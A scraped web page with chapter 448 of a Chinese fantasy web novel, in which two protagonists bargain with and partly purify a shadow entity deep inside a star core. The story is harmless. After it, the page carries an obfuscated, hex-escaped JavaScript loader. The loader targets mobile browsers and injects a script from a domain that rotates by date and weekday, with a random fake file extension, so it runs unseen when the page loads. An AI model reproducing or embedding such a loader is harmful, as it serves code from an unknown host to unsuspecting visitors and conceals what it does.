返回第四百四十八章 过路费  胡腾方首页

关灯 护眼     字体:

上一章 目录 下一章

平台上的沉默,持续了很久。只有能量管道中缓缓流动的微弱声响,和那团阴影蠕动时发出的、几乎听不见的黏稠声音。

刘臻和小树站在平台边缘,谁都没有贸然靠近。那个比喻——桥梁收费站,被困的旅人,听起来太过离奇,但在这片完全由能量和记忆构成的星核深处,离奇反而是最不奇怪的事情。

“怎么付?”小树看着自己右臂发光、搏动的能量脉络,又看向那团黑色的、不断变化的阴影,“直接走过去,让它吸收?”

“试试看。”刘臻说,但他拦住了要往前走的小树,“我先来。我的能量是正常的,只是和你有契约连接。如果它吸收后有异常反应,我至少能抵抗一下。你在后面准备,如果我有危险,用能量冲击干扰它,但别攻击球体。”

“不行,太危险了。”小树立刻反对,“你的能量没有晶体属性,它可能不认,或者引发别的反应。我的右臂能量是混合的,是‘新东西’,也许才是它真正需要的‘过路费’。”

两人僵持了几秒。最后,刘臻做出了让步,但不是完全的让步。

“一起过去。但你走前面,我跟着,保持三步距离。一旦有异常,我们一起后退,而且。”刘臻从背包里拿出两根能量传导索,一头绑在自己手腕,一头绑在小树手腕,“物理连接。如果你被什么东西‘吸住’,我能把你拉回来。”

小树看了看手腕上的传导索,又看了看刘臻。他知道这是刘臻的底线,再多说也没用,于是点了点头。

“好。”

两人慢慢走向平台中央。随着靠近,周围的能量场变得更加粘稠,像在胶水中行走。每一步都要花费比平时多几倍的力气。小树右臂的能量脉络似乎对这里的环境有某种共鸣,光芒越来越亮,搏动越来越强,甚至开始发出一种低沉的、稳定的嗡鸣,像在回应什么。

距离阴影还有十米时,阴影的蠕动突然停止了。

它“转”了过来,虽然它没有固定的形状,但小树能感觉到,那团黑暗的、流动的物质中心,有什么东西“看向”了他们。不是目光,是纯粹的意识关注,冰冷,好奇,带着一丝饥饿。

距离五米。

阴影表面开始泛起涟漪,像水波。涟漪的中心,浮现出一张模糊的、不断变化的人脸。有时是老人,有时是孩子,有时是男人,有时是女人,有时甚至不是人类,是某种无法形容的、扭曲的存在。那张脸没有眼睛,但小树能感觉到它在“看”自己的右臂。

“它想要。”小树在通讯器里低声说。

“给。”刘臻说,“但控制输出。从最小量开始。”

小树深吸一口气,抬起右臂,手掌摊开。意念集中在右臂的能量脉络上,引导着其中一丝温和的、淡金色的能量流,从指尖缓缓流出,像一缕细烟,飘向那团阴影。

能量流接触到阴影表面的瞬间,阴影剧烈地颤抖了一下。那张不断变化的人脸凝固了,变成一个固定的人形,一个看起来三十多岁的女人,面容疲惫但平和,闭着眼睛,像在沉睡。

然后,阴影“吞”下了那缕能量。

没有声音,没有爆炸,只有一种奇异的、满足的“叹息”,直接在两人的意识里响起。不是语言,是纯粹的感官,像久旱逢甘霖,像冻僵的人靠近火堆。阴影的颜色变淡了一点点,蠕动的速度也慢了下来,似乎平静了一些。

“有效。”小树说,他能感觉到右臂的能量脉络在那一丝输出后,微微减弱,但又在快速吸收周围环境的能量补充,恢复得比平时还快。“但消耗不小。这样一丝,大概相当于我平时一小时的自我恢复量。”

“继续。慢慢增加。”刘臻紧盯着阴影的变化。

小树又引导出两缕能量流,比第一次稍粗一些。阴影贪婪地吸收,颜色继续变淡,蠕动几乎停止,表面的人脸保持那个沉睡女人的形象,但眼角似乎有微光闪过,像快要醒来。

当第三缕能量被吸收后,阴影突然说话了。

不是在意识里,是真正的、虚弱但清晰的声音,在平台的空间中回荡,带着古老的、磨损的腔调:“纯净的混合态终于。”

声音是女人的声音,和那张脸一致。她睁开了眼睛——不是真实的眼睛,是阴影表面浮现的两个光点,温和,但充满穿透力,看向小树,又看向刘臻,最后停留在小树右臂的能量脉络上。

“你们不是收割者。”她说,声音里有一丝困惑,一丝警惕,也有一丝希望。

“收割者?”刘臻向前一步,与小树并肩,但保持着警惕,“你是指晶体文明?”

“晶体文明是后来的称呼。在我们那时,它们叫‘收割者’,叫‘净化者’,叫‘秩序的牧羊人’。”阴影女人的声音平静,但每个字都带着沉重的历史感,“你们是谁?为什么会有源初文明的星核钥匙,但又不完全是?为什么你的能量里有它们的味道,又有我们守护者的气息?”

“说来话长。”小树说,“但简单说,我们是这个时代的守护者。星核现在由我们管理。晶体文明——收割者,正在攻击我们的世界。我们推走了它们的‘种子’,但代价很大。现在我们需要修复接入点,需要知道怎么对抗它们。而你,被困在这里,似乎需要帮助。也许我们可以做个交易。”

阴影女人沉默了很久。那张脸在阴影表面缓缓游动,像在思考。

“交易。”她重复这个词,声音里有一丝讽刺,也有一丝悲哀,“上一个和我做交易的,是守夜人。他给了我一个承诺,说会找到让我解脱的方法。然后他消失了,再也没有回来。而我在这个笼子里,又等了多久了?一万年?两万年?时间在这里没有意义。”

“守夜人?”刘臻心中一动,“你说的是源初文明最后一代的守夜人?带领七位守护者进入星核,再也没有出去的那个?”

“是他。他是个理想主义者,相信桥梁能连接一切,相信不同文明能互相理解。”阴影女人的声音柔和了一些,“但他低估了收割者的顽固,也高估了星核的能力。他带领七位守护者,想用星核的力量,强行连接收割者的母星意识,向它们展示我们的文明,我们的生命,我们的价值。但连接建立的瞬间,收割者的‘净化协议’反向侵蚀,污染了星核的一部分。那七位守护者为了切断连接,牺牲了自己,用意识和星核融合,构建了现在的‘桥梁过滤层’,防止收割者直接入侵。而守夜人,他带着被污染的那部分,进入了星核最深处,也就是这里,试图净化它,或者封印它。”

她顿了顿,声音更低。

“我就是那个被污染的部分。不,准确说,我是被污染时,从星核和守夜人意识中剥离出来的残渣。是连接中断时的痛苦,是七位守护者牺牲时的绝望,是守夜人最后的不甘,混合了收割者‘净化协议’的一丝碎片,形成的这个东西。我没有完整的意识,没有固定的形态,只有无尽的痛苦和对能量的饥渴。我被困在这里,靠着吸收星核偶尔泄露的能量,维持着存在,也维持着这个‘笼子’——这个球体。因为如果我完全消散,或者脱离控制,球体里封存的那个东西,就会醒来。”

“球体里是什么?”小树问,看向那个发光的、内部有人形轮廓的球体。

“是守夜人。”阴影女人的声音带着复杂的情绪,“或者,是他最后剩下的、纯净的那部分意识。他在自我净化失败后,将污染的部分剥离出来,也就是我,然后用自己纯净的意识作为‘锁’,封印了污染,也封印了收割者留在这里的‘坐标信标’。只要他的意识还在沉睡,信标就不会被激活,收割者就无法精确定位这个星核。但如果我完全消失,或者他醒来,封印就会松动,信标就会。”

“就会向收割者发送信号,告诉它们星核的确切位置,以及钥匙已经就位。”小树接话,想起了那些晶体意识留下的警告。

“是的。”阴影女人说,“所以,守夜人陷入了两难。他不能醒来,否则信标会激活。他不能彻底消散,否则我会失控,也会导致信标激活。他只能这样,半梦半醒地困在这里,维持着脆弱的平衡,而我也被困在这里,靠着吞噬他泄露的能量,和他一起承受无尽的痛苦。”

平台上一片寂静。只有能量管道中能量流动的微弱声响,和阴影女人话语的回音。

刘臻消化着这个信息。守夜人不是消失了,是自我牺牲,成为了封印的一部分。而这个阴影,也不是敌人,是那场牺牲的悲剧产物,是星核内部的“伤疤”。

“你需要什么,才能解脱?”小树问,他看着阴影女人那双光点形成的眼睛,“我刚才给你的能量,似乎让你平静了一些。如果给你足够的能量,你能不能稳定下来?或者,离开这个笼子?”

“离开?我能去哪?”阴影女人的声音里有苦涩,“我没有实体,没有完整的意识,离开这里,我会在能量场中快速消散,或者被星核本身的净化机制当作‘污染’清除。至于稳定你刚才的能量,确实很特殊。它同时具有守护者的平衡之力和收割者的晶体能量特性,但又完美融合,形成了一种全新的、温和的、包容的能量形式。这种能量,能安抚我体内的冲突,能暂时缓解痛苦。但想要真正稳定,需要的量太大了。而且,即使稳定了,我依然被困在这里,守着这个笼子,守着沉睡的守夜人,直到永恒。”

“也许,有别的办法。”刘臻突然说,“你刚才说,你是污染、痛苦、绝望和一丝收割者碎片的混合体。那如果,我们帮你‘分离’呢?把收割者的碎片剥离出来,把污染净化掉,只留下守夜人和七位守护者的记忆和情感。那样,你是不是就能变成别的东西?比如,星核的‘记忆管理者’?或者,成为桥梁的一部分,帮助后来的旅人?”

阴影女人沉默了。那张脸在阴影表面浮动,光点般的眼睛盯着刘臻,然后转向小树,最后看向他右臂发光的能力脉络。

“分离净化。”她低声重复,“理论上,有可能。你的混合能量,确实有净化和中和的特性。但要做到精细的分离,需要极高的控制力,需要对星核结构的深刻理解,还需要巨大的能量。以你现在的能力,哪怕耗尽你所有的力量,也只能净化我的一小部分。而我的‘总量’很大,非常大。”

“我们可以慢慢来。”小树说,“每天净化一点。同时,我们修复接入点,恢复星核的能量供应。等星核能量充足了,也许能加快净化速度。而你,在这个过程中,可以帮我们。你知道星核的结构,知道收割者的技术特点,知道守夜人留下的所有知识。我们需要那些知识,来修复接入点,来对抗收割者的下一次攻击。作为交换,我们帮你净化,帮你解脱。这不是交易,是合作。”

阴影女人又沉默了很长时间。平台上的能量场似乎也随着她的思考而波动。最后,她缓缓开口:“我需要看到你们的诚意。也需要确认,你们是否有能力做到你们承诺的事。守夜人当年也承诺过,但他失败了。我不能重蹈覆辙。”

“怎么确认?”刘臻问。

“用你的混合能量,尝试净化我的一小部分,不是刚才那样简单的安抚,是真正的、深层的净化,将其中属于收割者的那丝碎片剥离出来。”阴影女人说,“我会引导你,让你看到我的内部结构。如果你能做到,哪怕只净化针尖大小的一点,我就相信你们有能力,也愿意和你们合作。如果做不到,或者在这个过程中,你被污染反噬,失去了控制。”

她没说完,但意思很明确。失败,可能会让小树也被污染,或者惊醒守夜人,激活信标。

“不行,太危险了。”刘臻立刻反对。

“让我试试。”小树却平静地说,“刘臻大哥,你忘了,我有契约,有你的意识作为支撑。而且,我的右臂能量,本身就是融合后的新东西。它既然能安抚她,也许真的能净化。如果我们不试试,就无法取得她的信任,就无法得到守夜人的知识,就无法修复接入点。时间不等人,其他世界还在等我们。”

刘臻看着小树的眼睛。那双深棕色的眼睛里,没有了平时的温和,只剩下一种平静的坚定。他知道,他拦不住。

“好。但我在旁边守着。一旦有异常,我会强行中断,用能量手雷制造冲击,把你拉出来。哪怕惊醒守夜人,激活信标,也比让你被污染强。信标激活,我们还有时间准备。你被污染,就全完了。”

“嗯。”小树点头,然后转向阴影女人,“开始吧。我该怎么做?”

“靠近我,把手放在我的表面。放松,让我引导你的意识进入。记住,无论看到什么,感受到什么,都不要抗拒,不要恐惧。恐惧和抗拒,会放大污染的力量。用你的混合能量,像水一样流动,温柔地、坚定地,找到那一丝不和谐的‘杂质’,然后包裹它,溶解它,或者,引导它离开。”

小树深吸一口气,向前走了几步,站在阴影面前。阴影缓缓蠕动,伸出一小缕黑色的、烟雾般的触须,停在小树面前。小树抬起右手,掌心向上,那缕触须轻轻落在他的掌心,冰凉,粘稠,带着细微的刺痛。

“闭眼,放松,跟着我。”

阴影女人的声音直接在意识深处响起,温柔,有催眠的力量。小树闭上眼睛,意识沉入右臂的能量脉络,然后顺着脉络,流入掌心,接触那缕黑色的触须。

瞬间,他“看”到了。

不是画面,是纯粹的感受和信息流。他看到一片无垠的、混乱的能量海,海中充满了尖叫、哭泣、愤怒、绝望的碎片。那是七位守护者牺牲时的记忆。他看到一道纯净的、但充满裂痕的白光,在海底深处沉睡,那是守夜人最后的意识。他看到一丝冰冷的、锐利的、不断重复着“净化、有序、统一”指令的暗金色光丝,像病毒一样,缠绕在那些记忆碎片和沉睡的白光上,那就是收割者的碎片。

他感到剧烈的痛苦,是意识层面的撕裂感,是永恒的折磨。他感到无尽的孤独,是被遗忘、被囚禁的寒冷。他也感到一丝微弱的、几乎熄灭的希望。是守夜人沉睡中,依然保留的对未来的期待。

“找到那丝暗金色的光。”阴影女人的声音引导着他,“它很小,很隐蔽,但它是所有痛苦的源头。用你的能量,找到它,然后。”

小树将意识凝聚,右臂的混合能量在引导下,像淡金色的溪流,流入这片混乱的能量海。溪流所到之处,尖叫和哭泣似乎微弱了一些,冰冷的感觉稍有缓解。他顺着那丝微弱的、不和谐的“指令感”,在混乱中寻找,最后,在沉睡白光的边缘,找到了它。

只有头发丝那么细,几毫米长,但它的存在感如此强烈,如此不和谐。它像一根毒刺,扎在沉睡的白光上,不断地、机械地向周围释放着“净化、有序、统一”的波动,污染着一切。

“就是它。”小树在意识里确认,然后,控制着淡金色的能量流,像最温柔的手,缓缓包裹过去。

小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!

接触的瞬间,暗金色光丝猛地挣扎。它爆发出强烈的排斥和攻击性,试图侵蚀、污染小树的能量流。但小树的混合能量似乎天生克制它,淡金色的光芒不仅没有被污染,反而像水扑灭火一样,缓慢地、但不可阻挡地,将暗金色光丝包裹、渗透、分解。

分解过程很慢,很吃力。小树能感觉到自己的能量在快速消耗,右臂的能量脉络在发烫,皮肤下的晶体化组织在轻微震颤。但他咬牙坚持,维持着能量流的稳定输出,一点一点地,将那一小段暗金色光丝,从沉睡的白光上剥离,然后分解、净化,最终,化为一点暗淡的、无害的能量尘埃,消散在意识海中。

完成的那一刻,整个能量海似乎“安静”了一瞬。那一片区域的痛苦和混乱,明显减弱了。虽然只是针尖大小的一点变化,但变化是真实的。

小树收回意识,睁开眼睛,踉跄后退一步。刘臻立刻扶住他。

“怎么样?”

“成了。”小树喘着气,脸色苍白,汗水浸湿了头发,右臂的能量脉络光芒暗淡,搏动微弱,但还在运转。“很累,但确实能净化。”

平台中央,那团阴影的颜色,在刚才被净化的那个“点”的位置,出现了一个极其微小的、几乎看不见的淡金色光斑。虽然很小,但在一片黑暗中,它是如此显眼。

阴影女人沉默了很久。然后,那张浮在表面的脸上,露出一个极其复杂、难以形容的表情,像是想哭,又像是想笑,最后化作一声悠长的、如释重负的叹息。

“你们真的做到了。”她的声音在颤抖,光点般的眼睛看向小树,又看向刘臻,“虽然只是一点点,但这是几万年来,第一次有东西被真正净化,而不是被压制或吞噬。这种能量,这种可能性。”

她停顿了一下,似乎在下定某个决心。

“好。我同意合作。我会把我所有的知识,守夜人留下的,关于星核结构、接入点原理、收割者技术、桥梁运作的一切都交给你们。我会引导你们修复接入点,帮助你们理解收割者的弱点。作为交换,你们定期来净化我,帮我解脱,也帮守夜人解脱。但你们要记住,净化需要时间,而收割者的下一次攻击,可能不会给我们太多时间。你们必须快,必须变得更强。”

“我们会的。”刘臻郑重地说。

“现在,我先教你们第一课。”阴影女人说,声音重新变得平静,但多了一丝温度,“倒影之城接入点的‘加密锁’,是守夜人当年留下的最后一道安全协议,防止星核被外部力量强行控制。解锁的‘钥匙’,不是能量,不是密码,是‘共鸣’与星核本源频率的深度共鸣。而能产生这种共鸣的,只有钥匙本人,也就是你,孩子。”

她看向小树。

“你需要进入深度的冥想状态,与星核的本源脉动完全同步。然后,用你的意识,去‘触碰’那个加密锁。锁会识别你,如果是真正的钥匙,它会打开。但过程会很危险,如果共鸣失败,或者你的意识不够稳定,锁会反噬,可能会损伤你的意识,甚至将你同化为锁的一部分,成为新的‘守门人’。”

小树和刘臻对视一眼。又是一个风险极大的选择。

“成功率有多少?”刘臻问。

“不知道。因为从未有人试过。守夜人设置这个锁时,钥匙还没有完全‘成熟’。你是第一个完美的平衡者,也是第一个与星核建立共生契约的钥匙。理论上,你有机会。但只是理论上。”阴影女人坦诚地说。

小树沉默了几秒,然后点头。

“我试,倒影之城的十万人在等,其他世界也在等。我们没有时间犹豫了。”

刘臻想说什么,但最终只是用力握了握小树的肩膀。

“我陪着你。契约在,我能在你意识波动时给你支持,而且。”他看向阴影女人,“如果他失败了,你有办法中断吗?”

“有。但同样危险。我会强行介入,用我的力量冲击加密锁,制造混乱,给你们制造脱身的机会。但那样可能会惊醒守夜人,激活信标。所以,最好一次成功。”

“明白了。”刘臻深吸一口气,看向小树,“什么时候开始?”

“就现在。”小树说,他盘腿坐下,闭上眼睛,“趁我体力还没完全耗尽,趁右臂的能量还有余力。阴影前辈,请引导我。”

阴影女人沉默地点了点头,如果那团蠕动的阴影能算点头的话。她伸出一缕更粗的黑色触须,轻轻搭在小树的额头上。

“放松,跟着我的引导。我会带你找到星核的本源频率。记住,不要抗拒,要融入,要成为它的一部分。”

小树的气息逐渐平稳。刘臻坐在他旁边,手按在他背上,通过契约连接,将自己的意识稳定、支持的力量传递过去。

平台上,只剩下能量流动的微响,和阴影女人低沉的、古老的引导吟诵。

远处,缓冲区方向,霜雪和闪电站在能量屏障外,焦急地等待着。时间一分一秒过去,星核深处的这次尝试,将决定倒影之城接入点能否修复,也将在很大程度上,决定七个世界能否熬过这个寒冬。

倒计时,依然在无声地流逝。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");